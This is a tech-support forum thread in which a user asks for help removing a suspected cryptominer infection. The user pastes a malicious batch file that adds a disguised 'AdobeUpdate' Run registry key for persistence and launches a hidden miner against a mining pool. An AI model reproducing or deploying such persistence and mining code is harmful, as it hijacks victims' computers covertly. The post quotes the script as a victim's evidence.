AdobeX (winsvchost.exe , ssvchost.exe)

[PadeLee]

Hello, i had a bsod problem and @Arc told me to remove ESET nod 32 and install Microsft Essentials and Malware Bytes. That fixed the problem but now i think i have got virus on my pc! In %AppData%/Roaming there is a folder called AdobeX that is pretty suspicious and contains winsvchost.exe and some other .bat files which seem suspicious too! the bat file contains these

(@echo off
%windir%\system32\taskkill.exe /f /im ssvchost.exe
%windir%\system32\taskkill.exe /f /im winsvchost.exe
%windir%\system32\reg.exe add HKCU\software\microsoft\windows\currentversion\run /v AdobeUpdate /d "wscript \"%appdata%\AdobeX\invis.vbs\" \"%appdata%\AdobeX\bat.bat\"" /f
IF NOT EXIST "%ProgramFiles(x86)%" (
start /b /low "a" "%appdata%\AdobeX\ssvchost.exe" -o ypool.net - cryptocurrency mining pool -u BRZ.PTS -p x -m256
)
IF EXIST "%ProgramFiles(x86)%" (
start /b /low "a" "%appdata%\AdobeX\winsvchost.exe" -o ypool.net - cryptocurrency mining pool -u BRZ.x -p x -target 9 -bttarget 9 -m 43 -primes 960000 -primorial 43 -s 1024000 -d 25 -se 10
)


My pc crashes and other things! I have done restore but nothing. Every startup the winsvchost.exe runs! I have deleted the folder but nothing! it gets deleted but after restart is there !

Please help me im in desperate need!

 

[JohnGrigg]

Looks like Bit coin Mining.

Could you install CCleaner and go Tools --> Startup and delete the batch files from there.

Also look at Scheduled Tasks in CCleaner.

 

[PadeLee]

so it seems that it is not that simple. After a little research i founnd viruses all around my pc. Cannot delete them and microsoft essentials doesn't recognise them as viruses doh ! stupid thing. How to delete them. so confused. I have proccess napsnap.exe that is MFC Interface and other shit i don't know and i cannot stop it from starting up with my system! What to do PLEASE

 

[PadeLee]

So i researched it even deeper! I think im infected of a vbs virus! I got usbfix and ran it! but some keys in registry called vbs script and other cannot be deleted!